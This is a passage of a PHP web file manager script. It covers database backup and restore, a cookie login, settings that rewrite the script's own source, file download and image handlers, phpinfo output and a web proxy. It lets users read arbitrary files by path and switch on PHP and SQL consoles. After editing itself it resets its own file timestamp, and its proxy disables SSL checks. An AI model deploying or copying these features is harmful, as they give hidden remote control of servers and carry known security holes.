				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ?? '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//????-??? ????? ?????????? ?????
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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